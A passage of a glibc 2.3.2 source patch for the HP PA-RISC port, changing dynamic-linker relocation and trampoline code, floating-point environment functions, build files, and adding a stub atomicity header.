+
+
diff -urN glibc-2.3.2.orig/localedata/gen-locale.sh glibc-2.3.2/localedata/gen-locale.sh
--- glibc-2.3.2.orig/localedata/gen-locale.sh	2002-09-20 20:28:20.000000000 -0400
+++ glibc-2.3.2/localedata/gen-locale.sh	2003-10-14 02:16:36.000000000 -0400
@@ -47,6 +47,7 @@
 locale=`echo $locfile|sed 's|\([^.]*\)[.].*/LC_CTYPE|\1|'`
 charmap=`echo $locfile|sed 's|[^.]*[.]\(.*\)/LC_CTYPE|\1|'`
 
+echo "Running \"$0 $common_objpfx $localedef $locfile\""
 echo "Generating locale $locale.$charmap: this might take a while..."
 generate_locale `echo $charmap | sed -e s/SJIS/SHIFT_JIS/` $locale \
 		$locale.$charmap
diff -urN glibc-2.3.2.orig/sysdeps/generic/framestate.c glibc-2.3.2/sysdeps/generic/framestate.c
--- glibc-2.3.2.orig/sysdeps/generic/framestate.c	2003-01-08 00:04:29.000000000 -0500
+++ glibc-2.3.2/sysdeps/generic/framestate.c	2003-10-14 02:16:35.000000000 -0400
@@ -41,7 +41,11 @@
       if (handle == NULL
 	  || (frame_state_for
 	      = (framesf) __libc_dlsym (handle, "__frame_state_for")) == NULL)
+#ifndef __USING_SJLJ_EXCEPTIONS__
 	frame_state_for = fallback_frame_state_for;
+#else
+      	frame_state_for = abort;
+#endif
     }
 
   return frame_state_for (pc, frame_state);
diff -urN glibc-2.3.2.orig/sysdeps/generic/unwind-dw2.c glibc-2.3.2/sysdeps/generic/unwind-dw2.c
--- glibc-2.3.2.orig/sysdeps/generic/unwind-dw2.c	2003-10-14 02:14:25.000000000 -0400
+++ glibc-2.3.2/sysdeps/generic/unwind-dw2.c	2003-10-14 02:17:48.000000000 -0400
@@ -39,7 +39,6 @@
 #endif
 
 
-#ifndef __USING_SJLJ_EXCEPTIONS__
 
 #ifndef STACK_GROWS_DOWNWARD
 #define STACK_GROWS_DOWNWARD 0
@@ -1282,4 +1281,3 @@
 
 #include "unwind.inc"
 
-#endif /* !USING_SJLJ_EXCEPTIONS */
diff -urN glibc-2.3.2.orig/sysdeps/hppa/Dist glibc-2.3.2/sysdeps/hppa/Dist
--- glibc-2.3.2.orig/sysdeps/hppa/Dist	2000-10-27 02:37:01.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/Dist	2003-10-14 02:16:35.000000000 -0400
@@ -1,2 +1,3 @@
+libgcc-compat.c
 dl-symaddr.c
 dl-fptr.c
diff -urN glibc-2.3.2.orig/sysdeps/hppa/Makefile glibc-2.3.2/sysdeps/hppa/Makefile
--- glibc-2.3.2.orig/sysdeps/hppa/Makefile	2002-11-19 13:59:51.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/Makefile	2003-10-14 02:16:35.000000000 -0400
@@ -22,12 +22,19 @@
 # CFLAGS-.os += -ffunction-sections
 LDFLAGS-c_pic.os += -Wl,--unique=.text*
 
-ifeq ($(subdir),malloc)
-CFLAGS-malloc.c += -DMALLOC_ALIGNMENT=16
-endif
-
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c += -mdisable-fpregs
 dl-routines += dl-symaddr dl-fptr
 rtld-routines += dl-symaddr dl-fptr
 endif
+
+ifeq ($(subdir),csu)
+ifeq (yes,$(build-shared))
+# Compatibility
+ifeq (yes,$(have-protected))
+CPPFLAGS-libgcc-compat.c = -DHAVE_DOT_HIDDEN
+endif
+sysdep_routines += libgcc-compat
+shared-only-routines += libgcc-compat
+endif
+endif
diff -urN glibc-2.3.2.orig/sysdeps/hppa/Versions glibc-2.3.2/sysdeps/hppa/Versions
--- glibc-2.3.2.orig/sysdeps/hppa/Versions	2002-02-01 16:16:41.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/Versions	2003-10-14 02:16:35.000000000 -0400
@@ -5,3 +5,8 @@
     _dl_function_address;
   }
 }
+libc {
+  GLIBC_2.2 {
+    __clz_tab;
+  }
+}
diff -urN glibc-2.3.2.orig/sysdeps/hppa/atomicity.h glibc-2.3.2/sysdeps/hppa/atomicity.h
--- glibc-2.3.2.orig/sysdeps/hppa/atomicity.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/atomicity.h	2003-10-14 02:16:35.000000000 -0400
@@ -0,0 +1,55 @@
+/* Low-level functions for atomic operations.  HP-PARISC version.
+   Copyright (C) 1997,2001 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef _ATOMICITY_H
+#define _ATOMICITY_H	1
+
+#include <inttypes.h>
+
+#warning stub atomicity functions are not atomic
+#warning CAO This will get implemented soon
+
+static inline int
+__attribute__ ((unused))
+exchange_and_add (volatile uint32_t *mem, int val)
+{
+  int result = *mem;
+  *mem += val;
+  return result;
+}
+
+static inline void
+__attribute__ ((unused))
+atomic_add (volatile uint32_t *mem, int val)
+{
+  *mem += val;
+}
+
+static inline int
+__attribute__ ((unused))
+compare_and_swap (volatile long int *p, long int oldval, long int newval)
+{
+  if (*p != oldval)
+    return 0;
+
+  *p = newval;
+  return 1;
+}
+
+#endif /* atomicity.h */
diff -urN glibc-2.3.2.orig/sysdeps/hppa/dl-fptr.c glibc-2.3.2/sysdeps/hppa/dl-fptr.c
--- glibc-2.3.2.orig/sysdeps/hppa/dl-fptr.c	2002-01-31 19:38:10.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/dl-fptr.c	2003-10-14 02:16:35.000000000 -0400
@@ -30,7 +30,7 @@
 # include <pt-machine.h>
 
 /* Remember, we use 0 to mean that a lock is taken on PA-RISC. */
-static int __hppa_fptr_lock = 1;
+static __atomic_lock_t __hppa_fptr_lock = __LT_SPINLOCK_ALT_INIT;
 #endif
 
 /* Because ld.so is now versioned, these functions can be in their own
@@ -127,7 +127,7 @@
 #ifdef _LIBC_REENTRANT
   /* Release the lock.  Again, remember, zero means the lock is taken!  */
   if (mem == NULL)
-    __hppa_fptr_lock = 1;
+    __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   /* Set bit 30 to indicate to $$dyncall that this is a PLABEL. */
@@ -180,7 +180,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock. */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 }
 
@@ -190,6 +190,8 @@
   Elf32_Addr addr = (Elf32_Addr) address;
   struct hppa_fptr *f;
 
+  address = (void *)((unsigned long)address &~ 3); /* Clear the bottom two bits.  See make_fptr. */
+  
 #ifdef _LIBC_REENTRANT
   /* Make sure we are alone.  */
   while (testandset (&__hppa_fptr_lock));
@@ -204,7 +206,7 @@
 
 #ifdef _LIBC_REENTRANT
   /* Release the lock.   */
-  __hppa_fptr_lock = 1;
+  __hppa_fptr_lock = __LT_SPINLOCK_INIT;
 #endif
 
   return addr;
diff -urN glibc-2.3.2.orig/sysdeps/hppa/dl-machine.h glibc-2.3.2/sysdeps/hppa/dl-machine.h
--- glibc-2.3.2.orig/sysdeps/hppa/dl-machine.h	2002-09-28 00:15:38.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/dl-machine.h	2003-10-14 02:18:38.000000000 -0400
@@ -1,5 +1,5 @@
 /* Machine-dependent ELF dynamic relocation inline functions.  PA-RISC version.
-   Copyright (C) 1995-1997,1999,2000,2001,2002 Free Software Foundation, Inc.
+   Copyright (C) 1995-1997,1999-2003 Free Software Foundation, Inc.
    Contributed by David Huggins-Daines <dhd@debian.org>
    This file is part of the GNU C Library.
 
@@ -28,8 +28,15 @@
 #include <link.h>
 #include <assert.h>
 
+# define VALID_ELF_OSABI(osabi)		((osabi == ELFOSABI_SYSV) || (osabi == ELFOSABI_LINUX))
+# define VALID_ELF_ABIVERSION(ver)	(ver == 0)
+# define VALID_ELF_HEADER(hdr,exp,size) \
+  memcmp (hdr,exp,size-2) == 0 \
+  && VALID_ELF_OSABI (hdr[EI_OSABI]) \
+  && VALID_ELF_ABIVERSION (hdr[EI_ABIVERSION])
+
 /* These must match the definition of the stub in bfd/elf32-hppa.c. */
-#define SIZEOF_PLT_STUB (4*4)
+#define SIZEOF_PLT_STUB (7*4)
 #define GOT_FROM_PLT_STUB (4*4)
 
 /* A PLABEL is a function descriptor.  Properly they consist of just
@@ -66,45 +73,41 @@
   return ehdr->e_machine == EM_PARISC;
 }
 
-
 /* Return the link-time address of _DYNAMIC.  */
 static inline Elf32_Addr
+elf_machine_dynamic (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_dynamic (void)
 {
   Elf32_Addr dynamic;
 
-#if 0
-  /* Use this method if GOT address not yet set up.  */
-  asm (
-"	b,l	1f,%0\n"
+  asm ("b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 8),%0\n"
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
-      : "=r" (dynamic) : : "r1");
-#else
-  /* This works because we already have our GOT address available.  */
-  dynamic = (Elf32_Addr) &_DYNAMIC;
-#endif
+       : "=r" (dynamic) : : "r1");
 
   return dynamic;
 }
 
 /* Return the run-time load address of the shared object.  */
 static inline Elf32_Addr
+elf_machine_load_address (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_load_address (void)
 {
-  Elf32_Addr dynamic, dynamic_linkaddress;
+  Elf32_Addr dynamic;
 
   asm (
 "	b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
-"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%1\n"
-"	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%0\n"
-"	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%%r1),%0\n"
-   : "=r" (dynamic_linkaddress), "=r" (dynamic) : : "r1");
+"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
+   : "=r" (dynamic) : : "r1");
 
-  return dynamic - dynamic_linkaddress;
+  return dynamic - elf_machine_dynamic ();
 }
 
 /* Fixup a PLT entry to bounce directly to the function at VALUE.  */
@@ -167,41 +170,39 @@
 	      fptr = (struct hppa_fptr *) (reloc->r_offset + l_addr);
 	      if (r_sym != 0)
 		{
-		  /* Relocate the pointer to the stub.  */
-		  fptr->func += l_addr;
-		  /* Instead of the LTP value, we put the reloc offset
-		     here.  The trampoline code will load the proper
-		     LTP and pass the reloc offset to the fixup
-		     function.  */
-		  fptr->gp = iplt - jmprel;
 		  if (!got)
 		    {
 		      static union {
 			unsigned char c[8];
 			Elf32_Addr i[2];
 		      } sig = {{0x00,0xc0,0xff,0xee, 0xde,0xad,0xbe,0xef}};
+		      const Elf32_Rela *last_rel;
+
+		      last_rel = (const Elf32_Rela *) end_jmprel - 1;
+
+		      /* The stub is immediately after the last .plt
+			 entry.  Rely on .plt relocs being ordered.  */
+		      if (last_rel->r_offset == 0)
+			return 0;
 
 		      /* Find our .got section.  It's right after the
 			 stub.  */
-		      got = (Elf32_Addr *) (fptr->func + GOT_FROM_PLT_STUB);
+		      got = (Elf32_Addr *) (last_rel->r_offset + l_addr
+					    + 8 + SIZEOF_PLT_STUB);
 
-		      /* Sanity check to see if the address we are
-                         going to check below is within a reasonable
-                         approximation of the bounds of the PLT (or,
-                         at least, is at an address that won't fault
-                         on read).  Then check for the magic signature
-                         above. */
-		      if (fptr->func < (Elf32_Addr) fptr + sizeof(*fptr))
-			  return 0;
-		      if (fptr->func >
-			  ((Elf32_Addr) fptr
-			   + SIZEOF_PLT_STUB
-			   + ((l->l_info[DT_PLTRELSZ]->d_un.d_val / sizeof (Elf32_Rela))
-			      * 8)))
-			return 0;
+		      /* Check the magic signature.  */
 		      if (got[-2] != sig.i[0] || got[-1] != sig.i[1])
 			return 0; /* No lazy linking for you! */
 		    }
+
+		  /* Relocate the pointer to the stub.  */
+		  fptr->func = (Elf32_Addr) got - GOT_FROM_PLT_STUB;
+
+		  /* Instead of the LTP value, we put the reloc offset
+		     here.  The trampoline code will load the proper
+		     LTP and pass the reloc offset to the fixup
+		     function.  */
+		  fptr->gp = iplt - jmprel;
 		}
 	      else
 		{
@@ -271,22 +272,24 @@
 "	stw	%r25,-40(%sp)\n" /* argc */				\
 "	stw	%r24,-44(%sp)\n" /* argv */				\
 									\
-	/* We need the LTP, and we need it now. */			\
-	/* $PIC_pcrel$0 points 8 bytes past the current instruction,	\
-	   just like a branch reloc.  This sequence gets us the runtime	\
-	   address of _DYNAMIC. */					\
+	/* We need the LTP, and we need it now.				\
+	   $PIC_pcrel$0 points 8 bytes past the current instruction,	\
+	   just like a branch reloc.  This sequence gets us the		\
+	   runtime address of _DYNAMIC. */				\
 "	bl	0f,%r19\n"						\
 "	depi	0,31,2,%r19\n"	/* clear priviledge bits */		\
 "0:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%r19\n"			\
 "	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%r1),%r26\n"		\
 									\
-	/* Also get the link time address from the first entry of the GOT.  */ \
+	/* The link time address is stored in the first entry of the	\
+	   GOT.  */							\
 "	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%r19\n"	\
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%r1),%r20\n" \
 									\
 "	sub	%r26,%r20,%r20\n"	/* Calculate load offset */	\
 									\
-	/* Rummage through the dynamic entries, looking for DT_PLTGOT.  */ \
+	/* Rummage through the dynamic entries, looking for		\
+	   DT_PLTGOT.  */						\
 "	ldw,ma	8(%r26),%r19\n"						\
 "1:	cmpib,=,n 3,%r19,2f\n"	/* tag == DT_PLTGOT? */			\
 "	cmpib,<>,n 0,%r19,1b\n"						\
@@ -306,8 +309,8 @@
 	   |         32 bytes of magic       |				\
 	   |---------------------------------|				\
 	   | 32 bytes argument/sp save area  |				\
-	   |---------------------------------|  ((current->mm->env_end) + 63 & ~63) \
-	   |         N bytes of slack        |				\
+	   |---------------------------------|  ((current->mm->env_end)	\
+	   |         N bytes of slack        |	 + 63 & ~63)		\
 	   |---------------------------------|				\
 	   |      envvar and arg strings     |				\
 	   |---------------------------------|				\
@@ -375,7 +378,7 @@
 "	bl	_dl_init_internal,%r2\n"				\
 "	ldo	4(%r23),%r23\n"	/* delay slot */			\
 									\
-	/* Reload argc, argv  to the registers start.S expects them in (feh) */ \
+	/* Reload argc, argv to the registers start.S expects.  */	\
 "	ldw	-40(%sp),%r25\n"					\
 "	ldw	-44(%sp),%r24\n"					\
 									\
@@ -387,8 +390,8 @@
 "	.word	0xdeadbeef\n"						\
 "	.previous\n"							\
 									\
-	/* %r3 contains a function pointer, we need to mask out the lower \
-	 * bits and load the gp and jump address. */			\
+	/* %r3 contains a function pointer, we need to mask out the	\
+	   lower bits and load the gp and jump address. */		\
 "	depi	0,31,2,%r3\n"						\
 "	ldw	0(%r3),%r2\n"						\
 "	addil	LT'__dl_fini_plabel,%r19\n"				\
@@ -406,43 +409,41 @@
    Enter with r19 = reloc offset, r20 = got-8, r21 = fixup ltp.  */
 #define TRAMPOLINE_TEMPLATE(tramp_name, fixup_name) \
   extern void tramp_name (void);		    \
-  asm ( "\
-	/* Trampoline for " #tramp_name " */				    \n\
-	.globl " #tramp_name "						    \n\
-	.type " #tramp_name ",@function					    \n\
-" #tramp_name ":							    \n\
-	/* Save return pointer */					    \n\
-	stw	%r2,-20(%sp)						    \n\
-	/* Save argument registers in the call stack frame. */		    \n\
-	stw	%r26,-36(%sp)						    \n\
-	stw	%r25,-40(%sp)						    \n\
-	stw	%r24,-44(%sp)						    \n\
-	stw	%r23,-48(%sp)						    \n\
-	/* Build a call frame. */					    \n\
-	stwm	%sp,64(%sp)						    \n\
-									    \n\
-	/* Set up args to fixup func.  */				    \n\
-	ldw	8+4(%r20),%r26	/* got[1] == struct link_map *  */	    \n\
-	copy	%r19,%r25	/* reloc offset  */			    \n\
-									    \n\
-	/* Call the real address resolver. */				    \n\
-	bl	" #fixup_name ",%r2					    \n\
-	copy	%r21,%r19	/* delay slot, set fixup func ltp */	    \n\
-									    \n\
-	ldwm	-64(%sp),%sp						    \n\
-	/* Arguments. */						    \n\
-	ldw	-36(%sp),%r26						    \n\
-	ldw	-40(%sp),%r25						    \n\
-	ldw	-44(%sp),%r24						    \n\
-	ldw	-48(%sp),%r23						    \n\
-	/* Return pointer. */						    \n\
-	ldw	-20(%sp),%r2						    \n\
-	/* Call the real function. */					    \n\
-	ldw	0(%r28),%r22						    \n\
-	bv	%r0(%r22)						    \n\
-	ldw	4(%r28),%r19						    \n\
-");
-
+  asm (".globl " #tramp_name "\n"					\
+ "	.type " #tramp_name ",@function\n"				\
+  #tramp_name ":\n"							\
+ 	/* Save return pointer */					\
+ "	stw	%r2,-20(%sp)\n"						\
+ 	/* Save argument registers in the call stack frame. */		\
+ "	stw	%r26,-36(%sp)\n"					\
+ "	stw	%r25,-40(%sp)\n"					\
+ "	stw	%r24,-44(%sp)\n"					\
+ "	stw	%r23,-48(%sp)\n"					\
+ 	/* Build a call frame, and save structure pointer. */		\
+ "	stwm	%r28,64(%sp)\n"						\
+ 									\
+ 	/* Set up args to fixup func.  */				\
+ "	ldw	8+4(%r20),%r26\n" /* got[1] == struct link_map *  */	\
+ "	copy	%r19,%r25\n"	  /* reloc offset  */			\
+ 									\
+ 	/* Call the real address resolver. */				\
+ "	bl	" #fixup_name ",%r2\n"					\
+ "	copy	%r21,%r19\n"	  /* delay slot, set fixup func ltp */	\
+ 									\
+ "	ldw	0(%r28),%r22\n"	  /* load up the returned func ptr */	\
+ "	ldw	4(%r28),%r19\n"						\
+ "	ldwm	-64(%sp),%r28\n"					\
+ 	/* Arguments. */						\
+ "	ldw	-36(%sp),%r26\n"					\
+ "	ldw	-40(%sp),%r25\n"					\
+ "	ldw	-44(%sp),%r24\n"					\
+ "	ldw	-48(%sp),%r23\n"					\
+ 	/* Call the real function. */					\
+ "	bv	%r0(%r22)\n"						\
+ 	/* Return pointer. */						\
+ "	ldw	-20(%sp),%r2\n"						\
+        );
+  
 #ifndef PROF
 #define ELF_MACHINE_RUNTIME_TRAMPOLINE			\
   TRAMPOLINE_TEMPLATE (_dl_runtime_resolve, fixup);	\
@@ -469,16 +470,32 @@
 /* We only use RELA. */
 #define ELF_MACHINE_NO_REL 1
 
+/* Tell dynamic-link that PA needs the extra link_map structure */
+#define ELF_MACHINE_REL_RELATIVE_NEEDSLINKMAP 1
+#define ELF_MACHINE_RELA_RELATIVE_NEEDSLINKMAP 1
+	
 /* Return the address of the entry point. */
 #define ELF_MACHINE_START_ADDRESS(map, start) \
   DL_FUNCTION_ADDRESS (map, start)
 
+/* We define an initialization functions.  This is called very early in
+ *    _dl_sysdep_start.  */
+#define DL_PLATFORM_INIT dl_platform_init ()
+
+static inline void __attribute__ ((unused))
+dl_platform_init (void)
+{
+	if (GL(dl_platform) != NULL && *GL(dl_platform) == '\0')
+	/* Avoid an empty string which would disturb us.  */
+		GL(dl_platform) = NULL;
+}
+	
 #endif /* !dl_machine_h */
 
 /* These are only actually used where RESOLVE_MAP is defined, anyway. */
 #ifdef RESOLVE_MAP
 
-static inline void
+auto void __attribute__((always_inline))
 elf_machine_rela (struct link_map *map, const Elf32_Rela *reloc,
 		  const Elf32_Sym *sym, const struct r_found_version *version,
 		  Elf32_Addr *const reloc_addr)
@@ -567,15 +584,15 @@
 	   probably haven't relocated the necessary values by this
 	   point so we have to find them ourselves. */
 
-	asm ("bl	0f,%0						    \n\
-	      depi	0,31,2,%0					    \n\
-0:	      addil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0	    \n\
-	      ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1   \n\
-	      addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0		    \n\
-	      ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2	    \n\
-	      addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0		    \n\
-	      ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
-	     :
+ 	asm ("bl	0f,%0\n\t"
+ 	     "depi	0,31,2,%0\n\t"
+ 	     "0:\taddil	L'__boot_ldso_fptr - ($PIC_pcrel$0 - 8),%0\n\t"
+ 	     "ldo	R'__boot_ldso_fptr - ($PIC_pcrel$0 - 12)(%%r1),%1\n\t"
+ 	     "addil	L'__fptr_root - ($PIC_pcrel$0 - 16),%0\n\t"
+ 	     "ldo	R'__fptr_root - ($PIC_pcrel$0 - 20)(%%r1),%2\n\t"
+ 	     "addil	L'__fptr_count - ($PIC_pcrel$0 - 24),%0\n\t"
+ 	     "ldo	R'__fptr_count - ($PIC_pcrel$0 - 28)(%%r1),%3"
+  	     :
 	     "=r" (dot),
 	     "=r" (p_boot_ldso_fptr),
 	     "=r" (p_fptr_root),
@@ -634,7 +651,7 @@
 
 /* hppa doesn't have an R_PARISC_RELATIVE reloc, but uses relocs with
    ELF32_R_SYM (info) == 0 for a similar purpose.  */
-static inline void
+auto void __attribute__((always_inline))
 elf_machine_rela_relative (struct link_map *map, Elf32_Addr l_addr,
 			   const Elf32_Rela *reloc,
 			   Elf32_Addr *const reloc_addr)
@@ -679,7 +696,7 @@
   *reloc_addr = value;
 }
 
-static inline void
+auto void __attribute__((always_inline))
 elf_machine_lazy_rel (struct link_map *map,
 		      Elf32_Addr l_addr, const Elf32_Rela *reloc)
 {
diff -urN glibc-2.3.2.orig/sysdeps/hppa/elf/entry.h glibc-2.3.2/sysdeps/hppa/elf/entry.h
--- glibc-2.3.2.orig/sysdeps/hppa/elf/entry.h	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/elf/entry.h	2003-10-14 02:16:35.000000000 -0400
@@ -0,0 +1,10 @@
+#ifndef __ASSEMBLY__
+extern void _start (void);
+#endif
+
+/* The function's entry point is stored in the first word of the
+   function descriptor (plabel) of _start().  */
+#define ENTRY_POINT ({long int *tmp = (long int *)((long)_start & ~2); tmp[0];})
+
+/* We have to provide a special declaration.  */
+#define ENTRY_POINT_DECL(class) class void _start (void);
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/fclrexcpt.c glibc-2.3.2/sysdeps/hppa/fpu/fclrexcpt.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/fclrexcpt.c	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/fclrexcpt.c	2003-10-14 02:16:36.000000000 -0400
@@ -29,7 +29,7 @@
   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
 
   /* Clear all the relevant bits. */
-  sw[0] &= ~(excepts & FE_ALL_EXCEPT) << 27;
+  sw[0] &= ~((excepts & FE_ALL_EXCEPT) << 27);
   __asm__ ("fldd 0(%0),%%fr0" : : "r" (sw));
 
   /* Success.  */
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/fegetenv.c glibc-2.3.2/sysdeps/hppa/fpu/fegetenv.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/fegetenv.c	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/fegetenv.c	2003-10-14 02:16:36.000000000 -0400
@@ -23,11 +23,12 @@
 int
 fegetenv (fenv_t *envp)
 {
-  __asm__ (
-	   "fstd %%fr0,0(%2)\n"
-	   "fstd,ma %%fr1,8(%2)\n"
-	   "fstd,ma %%fr2,8(%2)\n"
-	   "fstd %%fr3,0(%2)\n"
-	   : "=m" (*envp), "=r" (envp) : "1" (envp));
+  fenv_t *temp = envp;
+  __asm__ ( "fstd,ma %%fr0,8(%1)\n"
+	    "fstd,ma %%fr1,8(%1)\n"
+	    "fstd,ma %%fr2,8(%1)\n"
+	    "fstd %%fr3,0(%1)\n"
+	    : "=m" (*temp), "+r" (temp)
+	  );  
   return 0;
 }
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/feholdexcpt.c glibc-2.3.2/sysdeps/hppa/fpu/feholdexcpt.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/feholdexcpt.c	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/feholdexcpt.c	2003-10-14 02:16:36.000000000 -0400
@@ -25,36 +25,29 @@
 feholdexcept (fenv_t *envp)
 {
   fenv_t clear;
+  fenv_t * _regs = envp;
 
   /* Store the environment.  */
-  {
-    fenv_t * _regs = envp;
-    __asm__ (
-	     "fstd %%fr0,0(%2)\n"
-	     "fstd,ma %%fr1,8(%2)\n"
-	     "fstd,ma %%fr2,8(%2)\n"
-	     "fstd %%fr3,0(%2)\n"
-	     : "=m" (*_regs), "=r" (_regs) : "1" (_regs));
-    memcpy (&clear, envp, sizeof (clear));
-  }
+  __asm__ ( "fstd,ma %%fr0,8(%1)\n"
+	    "fstd,ma %%fr1,8(%1)\n"
+	    "fstd,ma %%fr2,8(%1)\n"
+	    "fstd %%fr3,0(%1)\n"
+	    : "=m" (*_regs), "+r" (_regs)
+	  );
+  
+  memcpy (&clear, envp, sizeof (clear));
 
-  /* Now clear all exceptions.  */
-  clear.__status_word &= ~(FE_ALL_EXCEPT << 27);
+  /* Now clear all exceptions (Enable bits and flags)  */
+  clear.__status_word &= ~((FE_ALL_EXCEPT << 27) | FE_ALL_EXCEPT);
   memset (clear.__exception, 0, sizeof (clear.__exception));
 
-  /* And set all exceptions to non-stop.  */
-  clear.__status_word &= ~FE_ALL_EXCEPT;
-
   /* Load the new environment. */
-  {
-    fenv_t * _regs = &clear + 1;
-    __asm__ (
-	     "fldd,mb -8(%2),%%fr3\n"
-	     "fldd,mb -8(%2),%%fr2\n"
-	     "fldd,mb -8(%2),%%fr1\n"
-	     "fldd -8(%2),%%fr0\n"
-	     : "=m" (*_regs), "=r" (_regs) : "1" (_regs));
-  }
+  __asm__ ( "fldd,ma -8(%1),%%fr3\n"
+	    "fldd,ma -8(%1),%%fr2\n"
+	    "fldd,ma -8(%1),%%fr1\n"
+	    "fldd 0(%1),%%fr0\n"
+	    : "=m" (*_regs), "+r" (_regs)
+	  );
 
   return 0;
 }
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/fesetenv.c glibc-2.3.2/sysdeps/hppa/fpu/fesetenv.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/fesetenv.c	2002-09-09 20:37:31.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/fesetenv.c	2003-10-14 02:16:36.000000000 -0400
@@ -26,24 +26,23 @@
 fesetenv (const fenv_t *envp)
 {
   fenv_t temp;
+  fenv_t * _regs = &temp;
 
   /* Install the environment specified by ENVP.  But there are a few
      values which we do not want to come from the saved environment.
      Therefore, we get the current environment and replace the values
      we want to use from the environment specified by the parameter.  */
-  {
-    fenv_t * _regs = &temp;
-    __asm__ (
-	     "fstd %%fr0,0(%2)\n"
-	     "fstd,ma %%fr1,8(%2)\n"
-	     "fstd,ma %%fr2,8(%2)\n"
-	     "fstd %%fr3,0(%2)\n"
-	     : "=m" (*_regs), "=r" (_regs) : "1" (_regs));
-  }
 
-  temp.__status_word &= ~(FE_ALL_EXCEPT
-			  | (FE_ALL_EXCEPT << 27)
-			  | FE_DOWNWARD);
+  __asm__ ( "fstd,ma %%fr0,8(%1)\n"
+	    "fstd,ma %%fr1,8(%1)\n"
+	    "fstd,ma %%fr2,8(%1)\n"
+	    "fstd %%fr3,0(%1)\n"
+	    : "=m" (*_regs), "+r" (_regs) 
+	  );
+
+  temp.__status_word &= ~((FE_ALL_EXCEPT << 27)
+			  | FE_DOWNWARD 
+			  | FE_ALL_EXCEPT);  
   if (envp == FE_DFL_ENV)
     ;
   else if (envp == FE_NOMASK_ENV)
@@ -55,16 +54,13 @@
 			      | (FE_ALL_EXCEPT << 27)));
 
   /* Load the new environment. */
-  {
-    fenv_t * _regs = &temp + 1;
-    __asm__ (
-	     "fldd,mb -8(%2),%%fr3\n"
-	     "fldd,mb -8(%2),%%fr2\n"
-	     "fldd,mb -8(%2),%%fr1\n"
-	     "fldd -8(%2),%%fr0\n"
-	     : "=m" (*_regs), "=r" (_regs) : "1" (_regs));
-  }
-
+  __asm__ ( "fldd,ma -8(%1),%%fr3\n"
+	    "fldd,ma -8(%1),%%fr2\n"
+	    "fldd,ma -8(%1),%%fr1\n"
+	    "fldd 0(%2),%%fr0\n"
+	    : "=m" (*_regs), "+r" (_regs)
+	  );
+  
   /* Success.  */
   return 0;
 }
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/feupdateenv.c glibc-2.3.2/sysdeps/hppa/fpu/feupdateenv.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/feupdateenv.c	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/feupdateenv.c	2003-10-14 02:16:36.000000000 -0400
@@ -27,14 +27,12 @@
 
   /* Get the current exception status. */
